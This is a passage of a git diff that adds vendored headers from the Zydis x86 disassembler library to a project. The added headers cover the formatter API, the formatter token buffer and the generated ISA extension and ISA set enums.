`ZYDIS_FORMATTER_UPPERCASE_PREFIXES` property. + */ + ZyanI32 case_prefixes; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_MNEMONIC` property. + */ + ZyanI32 case_mnemonic; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_REGISTERS` property. + */ + ZyanI32 case_registers; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_TYPECASTS` property. + */ + ZyanI32 case_typecasts; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_DECORATORS` property. + */ + ZyanI32 case_decorators; + /** + * The `ZYDIS_FORMATTER_HEX_UPPERCASE` property. + */ + ZyanBool hex_uppercase; + /** + * The number formats for all numeric bases. + * + * Index 0 = prefix + * Index 1 = suffix + */ + struct + { + /** + * A pointer to the `ZyanStringView` to use as prefix/suffix. + */ + const ZyanStringView* string; + /** + * The `ZyanStringView` to use as prefix/suffix + */ + ZyanStringView string_data; + /** + * The actual string data. + */ + char buffer[11]; + } number_format[ZYDIS_NUMERIC_BASE_MAX_VALUE + 1][2]; + /** + * The `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` function. + */ + ZydisFormatterFunc func_pre_instruction; + /** + * The `ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION` function. + */ + ZydisFormatterFunc func_post_instruction; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION` function. + */ + ZydisFormatterFunc func_format_instruction; + /** + * The `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` function. + */ + ZydisFormatterFunc func_pre_operand; + /** + * The `ZYDIS_FORMATTER_FUNC_POST_OPERAND` function. + */ + ZydisFormatterFunc func_post_operand; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` function. + */ + ZydisFormatterFunc func_format_operand_reg; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` function. + */ + ZydisFormatterFunc func_format_operand_mem; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` function. + */ + ZydisFormatterFunc func_format_operand_ptr; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` function. + */ + ZydisFormatterFunc func_format_operand_imm; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC function. + */ + ZydisFormatterFunc func_print_mnemonic; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_REGISTER` function. + */ + ZydisFormatterRegisterFunc func_print_register; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` function. + */ + ZydisFormatterFunc func_print_address_abs; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` function. + */ + ZydisFormatterFunc func_print_address_rel; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_DISP` function. + */ + ZydisFormatterFunc func_print_disp; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_IMM` function. + */ + ZydisFormatterFunc func_print_imm; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST` function. + */ + ZydisFormatterFunc func_print_typecast; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT` function. + */ + ZydisFormatterFunc func_print_segment; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES` function. + */ + ZydisFormatterFunc func_print_prefixes; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR` function. + */ + ZydisFormatterDecoratorFunc func_print_decorator; +}; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup formatter Formatter + * Functions allowing formatting of previously decoded instructions to human readable text. + * @{ + */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Initialization */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Initializes the given `ZydisFormatter` instance. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param style The base formatter style (either `AT&T` or `Intel` style). + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterInit(ZydisFormatter* formatter, ZydisFormatterStyle style); + +/* ---------------------------------------------------------------------------------------------- */ +/* Setter */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Changes the value of the specified formatter `property`. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param property The id of the formatter-property. + * @param value The new value. + * + * @return A zyan status code. + * + * This function returns `ZYAN_STATUS_INVALID_OPERATION` if a property can't be changed for the + * current formatter-style. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterSetProperty(ZydisFormatter* formatter, + ZydisFormatterProperty property, ZyanUPointer value); + +/** + * Replaces a formatter function with a custom callback and/or retrieves the currently + * used function. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param type The formatter function-type. + * @param callback A pointer to a variable that contains the pointer of the callback function + * and receives the pointer of the currently used function. + * + * @return A zyan status code. + * + * Call this function with `callback` pointing to a `ZYAN_NULL` value to retrieve the currently + * used function without replacing it. + * + * This function returns `ZYAN_STATUS_INVALID_OPERATION` if a function can't be replaced for the + * current formatter-style. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterSetHook(ZydisFormatter* formatter, + ZydisFormatterFunction type, const void** callback); + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatting */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Formats the given instruction and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in characters). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatInstruction(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, char* buffer, ZyanUSize length, + ZyanU64 runtime_address); + +/** + * Formats the given instruction and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in characters). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param user_data A pointer to user-defined data which can be used in custom formatter + * callbacks. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatInstructionEx(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, char* buffer, ZyanUSize length, + ZyanU64 runtime_address, void* user_data); + +/** + * Formats the given operand and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param index The index of the operand to format. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in characters). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * + * @return A zyan status code. + * + * Use `ZydisFormatterFormatInstruction` or `ZydisFormatterFormatInstructionEx` to format a + * complete instruction. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatOperand(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, ZyanU8 index, char* buffer, ZyanUSize length, + ZyanU64 runtime_address); + +/** + * Formats the given operand and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param index The index of the operand to format. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in characters). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param user_data A pointer to user-defined data which can be used in custom formatter + * callbacks. + * + * @return A zyan status code. + * + * Use `ZydisFormatterFormatInstruction` or `ZydisFormatterFormatInstructionEx` to format a + * complete instruction. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatOperandEx(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, ZyanU8 index, char* buffer, ZyanUSize length, + ZyanU64 runtime_address, void* user_data); + +/* ---------------------------------------------------------------------------------------------- */ +/* Tokenizing */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Tokenizes the given instruction and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in bytes). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param token Receives a pointer to the first token in the output buffer. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeInstruction(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, void* buffer, ZyanUSize length, + ZyanU64 runtime_address, ZydisFormatterTokenConst** token); + +/** + * Tokenizes the given instruction and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in bytes). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param token Receives a pointer to the first token in the output buffer. + * @param user_data A pointer to user-defined data which can be used in custom formatter + * callbacks. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeInstructionEx(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, void* buffer, ZyanUSize length, + ZyanU64 runtime_address, ZydisFormatterTokenConst** token, void* user_data); + +/** + * Tokenizes the given operand and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param index The index of the operand to format. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in bytes). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param token Receives a pointer to the first token in the output buffer. + * + * @return A zyan status code. + * + * Use `ZydisFormatterTokenizeInstruction` or `ZydisFormatterTokenizeInstructionEx` to tokenize a + * complete instruction. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeOperand(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, ZyanU8 index, void* buffer, ZyanUSize length, + ZyanU64 runtime_address, ZydisFormatterTokenConst** token); + +/** + * Tokenizes the given operand and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param index The index of the operand to format. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in bytes). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param token Receives a pointer to the first token in the output buffer. + * @param user_data A pointer to user-defined data which can be used in custom formatter + * callbacks. + * + * @return A zyan status code. + * + * Use `ZydisFormatterTokenizeInstruction` or `ZydisFormatterTokenizeInstructionEx` to tokenize a + * complete instruction. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeOperandEx(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, ZyanU8 index, void* buffer, ZyanUSize length, + ZyanU64 runtime_address, ZydisFormatterTokenConst** token, void* user_data); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_FORMATTER_H */ diff --git a/Theodosius/Zydis/FormatterBuffer.h b/Theodosius/Zydis/FormatterBuffer.h new file mode 100644 index 0000000..2ae2efe --- /dev/null +++ b/Theodosius/Zydis/FormatterBuffer.h @@ -0,0 +1,306 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the `ZydisFormatterToken` type and provides functions to use it. + */ + +#ifndef ZYDIS_FORMATTER_TOKEN_H +#define ZYDIS_FORMATTER_TOKEN_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Constants */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Token types */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @biref Defines the `ZydisTokenType` data-type. + */ +typedef ZyanU8 ZydisTokenType; + +#define ZYDIS_TOKEN_INVALID 0x00 +/** + * A whitespace character. + */ +#define ZYDIS_TOKEN_WHITESPACE 0x01 +/** + * A delimiter character (like `','`, `':'`, `'+'`, `'-'`, `'*'`). + */ +#define ZYDIS_TOKEN_DELIMITER 0x02 +/** + * An opening parenthesis character (like `'('`, `'['`, `'{'`). + */ +#define ZYDIS_TOKEN_PARENTHESIS_OPEN 0x03 +/** + * A closing parenthesis character (like `')'`, `']'`, `'}'`). + */ +#define ZYDIS_TOKEN_PARENTHESIS_CLOSE 0x04 +/** + * A prefix literal (like `"LOCK"`, `"REP"`). + */ +#define ZYDIS_TOKEN_PREFIX 0x05 +/** + * A mnemonic literal (like `"MOV"`, `"VCMPPSD"`, `"LCALL"`). + */ +#define ZYDIS_TOKEN_MNEMONIC 0x06 +/** + * A register literal (like `"RAX"`, `"DS"`, `"%ECX"`). + */ +#define ZYDIS_TOKEN_REGISTER 0x07 +/** + * An absolute address literal (like `0x00400000`). + */ +#define ZYDIS_TOKEN_ADDRESS_ABS 0x08 +/** + * A relative address literal (like `-0x100`). + */ +#define ZYDIS_TOKEN_ADDRESS_REL 0x09 +/** + * A displacement literal (like `0xFFFFFFFF`, `-0x100`, `+0x1234`). + */ +#define ZYDIS_TOKEN_DISPLACEMENT 0x0A +/** + * An immediate literal (like `0xC0`, `-0x1234`, `$0x0000`). + */ +#define ZYDIS_TOKEN_IMMEDIATE 0x0B +/** + * A typecast literal (like `DWORD PTR`). + */ +#define ZYDIS_TOKEN_TYPECAST 0x0C +/** + * A decorator literal (like `"Z"`, `"1TO4"`). + */ +#define ZYDIS_TOKEN_DECORATOR 0x0D +/** + * A symbol literal. + */ +#define ZYDIS_TOKEN_SYMBOL 0x0E + +/** + * The base for user-defined token types. + */ +#define ZYDIS_TOKEN_USER 0x80 + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Token */ +/* ---------------------------------------------------------------------------------------------- */ + +#pragma pack(push, 1) + +/** + * Defines the `ZydisFormatterToken` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZydisFormatterToken_ +{ + /** + * The token type. + */ + ZydisTokenType type; + /** + * An offset to the next token, or `0`. + */ + ZyanU8 next; +} ZydisFormatterToken; + +#pragma pack(pop) + +/** + * Defines the `ZydisFormatterTokenConst` data-type. + */ +typedef const ZydisFormatterToken ZydisFormatterTokenConst; + +/* ---------------------------------------------------------------------------------------------- */ +/* Buffer */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterBuffer` struct. + * + * All fields in this struct should be considered as "private". Any changes may + * lead to unexpected behavior. + */ +typedef struct ZydisFormatterBuffer_ +{ + /** + * `ZYAN_TRUE`, if the buffer contains a token stream or `ZYAN_FALSE, if it + * contains a simple string. + */ + ZyanBool is_token_list; + /** + * The remaining capacity of the buffer. + */ + ZyanUSize capacity; + /** + * The `ZyanString` instance that refers to the literal value of the most + * recently added token. + */ + ZyanString string; +} ZydisFormatterBuffer; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Token */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the `type` and the string `value` of the given `token`. + * + * @param token A pointer to the `ZydisFormatterToken` struct. + * @param type Receives the token type. + * @param value Receives a pointer to the string value of the token. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenGetValue(const ZydisFormatterToken* token, + ZydisTokenType* type, ZyanConstCharPointer* value); + +/** + * Obtains the next `token` linked to the passed one. + * + * @param token Receives a pointer to the next `ZydisFormatterToken` struct + * linked to the passed one. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenNext(ZydisFormatterTokenConst** token); + +/* ---------------------------------------------------------------------------------------------- */ +/* Buffer */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current (most recently added) token. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param token Receives a pointer to the current token. + * + * @return A zyan status code. + * + * This function returns `ZYAN_STATUS_INVALID_OPERATION`, if the buffer does not contain at least + * one token. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferGetToken(const ZydisFormatterBuffer* buffer, + ZydisFormatterTokenConst** token); + +/** + * Returns the `ZyanString` instance associated with the given buffer. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param string Receives a pointer to the `ZyanString` instance associated with the given + * buffer. + * + * @return A zyan status code. + * + * This function returns `ZYAN_STATUS_INVALID_OPERATION`, if the buffer does not contain at least + * one token. + * + * The returned string always refers to the literal value of the current (most recently added) + * token and will remain valid until the buffer is destroyed. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferGetString(ZydisFormatterBuffer* buffer, + ZyanString** string); + +/** + * Appends a new token to the `buffer`. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param type The type of the new token. + * + * @return A zyan status code. + * + * Note that the `ZyanString` instance returned by `ZydisFormatterBufferGetString` will + * automatically be updated by calling this function. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferAppend(ZydisFormatterBuffer* buffer, + ZydisTokenType type); + +/** + * Returns a snapshot of the buffer-state. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param state Receives a snapshot of the buffer-state. + * + * @return A zyan status code. + * + * Note that the buffer-state is saved inside the buffer itself and thus becomes invalid as soon + * as the buffer gets overwritten or destroyed. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferRemember(const ZydisFormatterBuffer* buffer, + ZyanUPointer* state); + +/** + * Restores a previously saved buffer-state. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param state The buffer-state to restore. + * + * @return A zyan status code. + * + * All tokens added after obtaining the given `state` snapshot will be removed. This function + * does NOT restore any string content. + * + * Note that the `ZyanString` instance returned by `ZydisFormatterBufferGetString` will + * automatically be updated by calling this function. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferRestore(ZydisFormatterBuffer* buffer, + ZyanUPointer state); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_FORMATTER_TOKEN_H */ diff --git a/Theodosius/Zydis/Generated/EnumISAExt.h b/Theodosius/Zydis/Generated/EnumISAExt.h new file mode 100644 index 0000000..6de33b7 --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumISAExt.h @@ -0,0 +1,98 @@ +/** + * Defines the `ZydisISAExt` enum. + */ +typedef enum ZydisISAExt_ +{ + ZYDIS_ISA_EXT_INVALID, + ZYDIS_ISA_EXT_ADOX_ADCX, + ZYDIS_ISA_EXT_AES, + ZYDIS_ISA_EXT_AMD3DNOW, + ZYDIS_ISA_EXT_AMD3DNOW_PREFETCH, + ZYDIS_ISA_EXT_AMD_INVLPGB, + ZYDIS_ISA_EXT_AMX_BF16, + ZYDIS_ISA_EXT_AMX_INT8, + ZYDIS_ISA_EXT_AMX_TILE, + ZYDIS_ISA_EXT_AVX, + ZYDIS_ISA_EXT_AVX2, + ZYDIS_ISA_EXT_AVX2GATHER, + ZYDIS_ISA_EXT_AVX512EVEX, + ZYDIS_ISA_EXT_AVX512VEX, + ZYDIS_ISA_EXT_AVXAES, + ZYDIS_ISA_EXT_BASE, + ZYDIS_ISA_EXT_BMI1, + ZYDIS_ISA_EXT_BMI2, + ZYDIS_ISA_EXT_CET, + ZYDIS_ISA_EXT_CLDEMOTE, + ZYDIS_ISA_EXT_CLFLUSHOPT, + ZYDIS_ISA_EXT_CLFSH, + ZYDIS_ISA_EXT_CLWB, + ZYDIS_ISA_EXT_CLZERO, + ZYDIS_ISA_EXT_ENQCMD, + ZYDIS_ISA_EXT_F16C, + ZYDIS_ISA_EXT_FMA, + ZYDIS_ISA_EXT_FMA4, + ZYDIS_ISA_EXT_GFNI, + ZYDIS_ISA_EXT_INVPCID, + ZYDIS_ISA_EXT_KNC, + ZYDIS_ISA_EXT_KNCE, + ZYDIS_ISA_EXT_KNCV, + ZYDIS_ISA_EXT_LONGMODE, + ZYDIS_ISA_EXT_LZCNT, + ZYDIS_ISA_EXT_MCOMMIT, + ZYDIS_ISA_EXT_MMX, + ZYDIS_ISA_EXT_MONITOR, + ZYDIS_ISA_EXT_MONITORX, + ZYDIS_ISA_EXT_MOVBE, + ZYDIS_ISA_EXT_MOVDIR, + ZYDIS_ISA_EXT_MPX, + ZYDIS_ISA_EXT_PADLOCK, + ZYDIS_ISA_EXT_PAUSE, + ZYDIS_ISA_EXT_PCLMULQDQ, + ZYDIS_ISA_EXT_PCONFIG, + ZYDIS_ISA_EXT_PKU, + ZYDIS_ISA_EXT_PREFETCHWT1, + ZYDIS_ISA_EXT_PT, + ZYDIS_ISA_EXT_RDPID, + ZYDIS_ISA_EXT_RDPRU, + ZYDIS_ISA_EXT_RDRAND, + ZYDIS_ISA_EXT_RDSEED, + ZYDIS_ISA_EXT_RDTSCP, + ZYDIS_ISA_EXT_RDWRFSGS, + ZYDIS_ISA_EXT_RTM, + ZYDIS_ISA_EXT_SERIALIZE, + ZYDIS_ISA_EXT_SGX, + ZYDIS_ISA_EXT_SGX_ENCLV, + ZYDIS_ISA_EXT_SHA, + ZYDIS_ISA_EXT_SMAP, + ZYDIS_ISA_EXT_SMX, + ZYDIS_ISA_EXT_SNP, + ZYDIS_ISA_EXT_SSE, + ZYDIS_ISA_EXT_SSE2, + ZYDIS_ISA_EXT_SSE3, + ZYDIS_ISA_EXT_SSE4, + ZYDIS_ISA_EXT_SSE4A, + ZYDIS_ISA_EXT_SSSE3, + ZYDIS_ISA_EXT_SVM, + ZYDIS_ISA_EXT_TBM, + ZYDIS_ISA_EXT_TSX_LDTRK, + ZYDIS_ISA_EXT_VAES, + ZYDIS_ISA_EXT_VMFUNC, + ZYDIS_ISA_EXT_VPCLMULQDQ, + ZYDIS_ISA_EXT_VTX, + ZYDIS_ISA_EXT_WAITPKG, + ZYDIS_ISA_EXT_X87, + ZYDIS_ISA_EXT_XOP, + ZYDIS_ISA_EXT_XSAVE, + ZYDIS_ISA_EXT_XSAVEC, + ZYDIS_ISA_EXT_XSAVEOPT, + ZYDIS_ISA_EXT_XSAVES, + + /** + * Maximum value of this enum. + */ + ZYDIS_ISA_EXT_MAX_VALUE = ZYDIS_ISA_EXT_XSAVES, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ISA_EXT_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ISA_EXT_MAX_VALUE) +} ZydisISAExt; diff --git a/Theodosius/Zydis/Generated/EnumISASet.h b/Theodosius/Zydis/Generated/EnumISASet.h new file mode 100644 index 0000000..c04242c --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumISASet.h @@ -0,0 +1,184 @@ +/** + * Defines the `ZydisISASet` enum. + */ +typedef enum ZydisISASet_ +{ + ZYDIS_ISA_SET_INVALID, + ZYDIS_ISA_SET_ADOX_ADCX, + ZYDIS_ISA_SET_AES, + ZYDIS_ISA_SET_AMD, + ZYDIS_ISA_SET_AMD3DNOW, + ZYDIS_ISA_SET_AMX_BF16, + ZYDIS_ISA_SET_AMX_INT8, + ZYDIS_ISA_SET_AMX_TILE, + ZYDIS_ISA_SET_AVX, + ZYDIS_ISA_SET_AVX2, + ZYDIS_ISA_SET_AVX2GATHER, + ZYDIS_ISA_SET_AVX512BW_128, + ZYDIS_ISA_SET_AVX512BW_128N, + ZYDIS_ISA_SET_AVX512BW_256, + ZYDIS_ISA_SET_AVX512BW_512, + ZYDIS_ISA_SET_AVX512BW_KOP, + ZYDIS_ISA_SET_AVX512CD_128, + ZYDIS_ISA_SET_AVX512CD_256, + ZYDIS_ISA_SET_AVX512CD_512, + ZYDIS_ISA_SET_AVX512DQ_128, + ZYDIS_ISA_SET_AVX512DQ_128N, + ZYDIS_ISA_SET_AVX512DQ_256, + ZYDIS_ISA_SET_AVX512DQ_512, + ZYDIS_ISA_SET_AVX512DQ_KOP, + ZYDIS_ISA_SET_AVX512DQ_SCALAR, + ZYDIS_ISA_SET_AVX512ER_512, + ZYDIS_ISA_SET_AVX512ER_SCALAR, + ZYDIS_ISA_SET_AVX512F_128, + ZYDIS_ISA_SET_AVX512F_128N, + ZYDIS_ISA_SET_AVX512F_256, + ZYDIS_ISA_SET_AVX512F_512, + ZYDIS_ISA_SET_AVX512F_KOP, + ZYDIS_ISA_SET_AVX512F_SCALAR, + ZYDIS_ISA_SET_AVX512PF_512, + ZYDIS_ISA_SET_AVX512_4FMAPS_512, + ZYDIS_ISA_SET_AVX512_4FMAPS_SCALAR, + ZYDIS_ISA_SET_AVX512_4VNNIW_512, + ZYDIS_ISA_SET_AVX512_BF16_128, + ZYDIS_ISA_SET_AVX512_BF16_256, + ZYDIS_ISA_SET_AVX512_BF16_512, + ZYDIS_ISA_SET_AVX512_BITALG_128, + ZYDIS_ISA_SET_AVX512_BITALG_256, + ZYDIS_ISA_SET_AVX512_BITALG_512, + ZYDIS_ISA_SET_AVX512_GFNI_128, + ZYDIS_ISA_SET_AVX512_GFNI_256, + ZYDIS_ISA_SET_AVX512_GFNI_512, + ZYDIS_ISA_SET_AVX512_IFMA_128, + ZYDIS_ISA_SET_AVX512_IFMA_256, + ZYDIS_ISA_SET_AVX512_IFMA_512, + ZYDIS_ISA_SET_AVX512_VAES_128, + ZYDIS_ISA_SET_AVX512_VAES_256, + ZYDIS_ISA_SET_AVX512_VAES_512, + ZYDIS_ISA_SET_AVX512_VBMI2_128, + ZYDIS_ISA_SET_AVX512_VBMI2_256, + ZYDIS_ISA_SET_AVX512_VBMI2_512, + ZYDIS_ISA_SET_AVX512_VBMI_128, + ZYDIS_ISA_SET_AVX512_VBMI_256, + ZYDIS_ISA_SET_AVX512_VBMI_512, + ZYDIS_ISA_SET_AVX512_VNNI_128, + ZYDIS_ISA_SET_AVX512_VNNI_256, + ZYDIS_ISA_SET_AVX512_VNNI_512, + ZYDIS_ISA_SET_AVX512_VP2INTERSECT_128, + ZYDIS_ISA_SET_AVX512_VP2INTERSECT_256, + ZYDIS_ISA_SET_AVX512_VP2INTERSECT_512, + ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_128, + ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_256, + ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_512, + ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_128, + ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_256, + ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_512, + ZYDIS_ISA_SET_AVXAES, + ZYDIS_ISA_SET_AVX_GFNI, + ZYDIS_ISA_SET_BMI1, + ZYDIS_ISA_SET_BMI2, + ZYDIS_ISA_SET_CET, + ZYDIS_ISA_SET_CLDEMOTE, + ZYDIS_ISA_SET_CLFLUSHOPT, + ZYDIS_ISA_SET_CLFSH, + ZYDIS_ISA_SET_CLWB, + ZYDIS_ISA_SET_CLZERO, + ZYDIS_ISA_SET_CMOV, + ZYDIS_ISA_SET_CMPXCHG16B, + ZYDIS_ISA_SET_ENQCMD, + ZYDIS_ISA_SET_F16C, + ZYDIS_ISA_SET_FAT_NOP, + ZYDIS_ISA_SET_FCMOV, + ZYDIS_ISA_SET_FMA, + ZYDIS_ISA_SET_FMA4, + ZYDIS_ISA_SET_FXSAVE, + ZYDIS_ISA_SET_FXSAVE64, + ZYDIS_ISA_SET_GFNI, + ZYDIS_ISA_SET_I186, + ZYDIS_ISA_SET_I286PROTECTED, + ZYDIS_ISA_SET_I286REAL, + ZYDIS_ISA_SET_I386, + ZYDIS_ISA_SET_I486, + ZYDIS_ISA_SET_I486REAL, + ZYDIS_ISA_SET_I86, + ZYDIS_ISA_SET_INVPCID, + ZYDIS_ISA_SET_KNCE, + ZYDIS_ISA_SET_KNCJKBR, + ZYDIS_ISA_SET_KNCSTREAM, + ZYDIS_ISA_SET_KNCV, + ZYDIS_ISA_SET_KNC_MISC, + ZYDIS_ISA_SET_KNC_PF_HINT, + ZYDIS_ISA_SET_LAHF, + 